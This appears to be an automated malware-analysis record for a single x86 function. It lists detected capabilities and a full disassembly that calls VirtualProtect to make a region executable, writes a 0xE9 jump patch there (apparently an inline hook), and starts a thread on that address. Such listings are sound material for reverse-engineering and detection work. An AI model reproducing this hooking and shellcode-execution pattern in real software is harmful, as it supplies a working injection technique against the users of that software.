Function at 0x10001aea
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov ebx, dword [ebp + 0x20]
cmp dword [ebx], 0
jne 0x10001b78
mov dword [ebp - 0x18], esp
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10001b46
push 6
call fcn.10008fb7
add esp, 4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], esp
push str.GetModuleHandleA
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10001b70
push 6
call fcn.10008fb7
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10001b80
mov ebx, dword [ebp + 0x20]
mov eax, dword [ebx]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10001bb0
push 6
call fcn.10008fb7
add esp, 4
push 5
push dword [ebp - 4]
call fcn.10001d42
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10001bd4
push ebx
call fcn.10008fc9
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push 0xe9
push dword [ebp - 4]
push 0x1000da27
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
fild dword [ebp - 4]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fadd qword [0x1000d240]
fstp qword [ebp - 0x24]
fild dword [ebp + 0x10]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fild dword [ebp - 4]
fstp qword [ebp - 0x34]
fsub qword [ebp - 0x34]
fsub qword [0x1000d248]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.1000123c
push eax
fld qword [ebp - 0x24]
call fcn.1000123c
push eax
push 0x1000da27
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x1c]
mov dword [ebp - 0x18], esp
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp + 0x14]
push dword [ebp - 4]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10001c75
push 6
call fcn.10008fb7
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push 1
push dword [ebp - 0x10]
call dword [0x1000db2f]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10001c9f
push 6
call fcn.10008fb7
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x10001cd2
mov dword [ebp - 0x18], esp
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10001cd0
push 6
call fcn.10008fb7
add esp, 4
jmp 0x10001c78
lea eax, [ebp - 0xc]
push eax
call fcn.10001df3
mov dword [ebp - 0x18], eax
push 5
push dword [ebp - 0x18]
push dword [ebp - 4]
call fcn.100014d0
mov dword [ebp - 0x18], esp
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10001d1c
push 6
call fcn.10008fb7
add esp, 4
mov eax, dword [ebp - 0x14]
mov dword [ebp + 0x1c], eax
mov eax, dword [ebp - 0x10]
jmp 0x10001d2a
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10001d3b
push ebx
call fcn.10008fc9
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x20